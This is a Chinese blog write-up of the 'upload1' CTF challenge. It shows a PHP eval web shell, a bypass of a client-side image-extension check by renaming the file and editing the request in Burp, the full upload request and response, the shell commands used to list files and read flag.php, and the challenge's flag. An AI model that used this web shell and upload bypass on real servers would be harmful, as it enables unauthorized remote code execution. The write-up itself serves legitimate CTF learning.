

# 攻防世界upload1

原创

听门外雪花飞 于 2022-01-30 19:56:35 发布 856 收藏

分类专栏: [ctf刷题纪](#) 文章标签: [web安全](#) [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_52268949/article/details/122755292](https://blog.csdn.net/weixin_52268949/article/details/122755292)

版权



[ctf刷题纪](#) 专栏收录该内容

40 篇文章 0 订阅

订阅专栏

upload1

选择文件 未选择任何文件

上传

进入环境就一个上传, 我们先上传一个普通的木马文件看看

木马内容

```
<?php @eval($_POST["cmd"]); ?>
```

111.200.241.244:61986 显示

请选择一张图片文件上传!

确定

CSDN @听门外雪花飞

估计是前端校验我们查看源码

```
ext = name.replace(/ .|\./, '');  
  
if(['jpg', 'png'].contains(ext)) {  
    submit.disabled = false;  
} else {  
    submit.disabled = true;  
  
    alert('请选择一张图片文件上传!');  
}  
  
}  
  
</script>
```

CSDN @听门外雪花飞

只能上传jpg和png图片，那我们将木马后缀改为.jpg然后使用bp抓包并把后缀改为.php即可

```
POST /index.php HTTP/1.1  
Host: 111.200.241.244:61986  
Content-Length: 211  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://111.200.241.244:61986  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryboYqQdXCnz5V6wKv  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/  
like Gecko) Chrome/92.0.4515.107 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image  
,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://111.200.241.244:61986/  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Connection: close  
  
-----WebKitFormBoundaryboYqQdXCnz5V6wKv  
Content-Disposition: form-data; name="upfile"; filename="1.php"  
Content-Type: image/jpeg  
  
<?php @eval($_POST["cmd"]); ?>  
-----WebKitFormBoundaryboYqQdXCnz5V6wKv--
```

CSDN @听门外雪花飞

```
HTTP/1.1 200 OK
Date: Wed, 22 Dec 2021 02:36:02 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.37
Vary: Accept-Encoding
Content-Length: 956
Connection: close
Content-Type: text/html; charset=UTF-8
```

**upload success : upload/1640140562.1.php**

<!doctype html>

CSDN @听门外雪花飞

然后访问木马文件执行指令即可

URL

http://111.200.241.244:61986/upload/1640140562.1.php



Enable POST

enctype

application/x-www-form-urlencoded

Body

cmd=system('ls /var/www/html');

CSDN @听门外雪花飞

flag.php index.html index.php install.sh upload

URL

URL

http://111.200.241.244:61986/upload/1640140562.1.php



Enable POST

enctype

application/x-www-form-urlencoded

Body

cmd=system('head /var/www/html/flag.php');

CSDN @听门外雪花飞

执行后查看源码便发现flag

```
<?php
$flag="cyberpeace{451ab50ba06a1a4356e66875eb23cec5}";
?>
```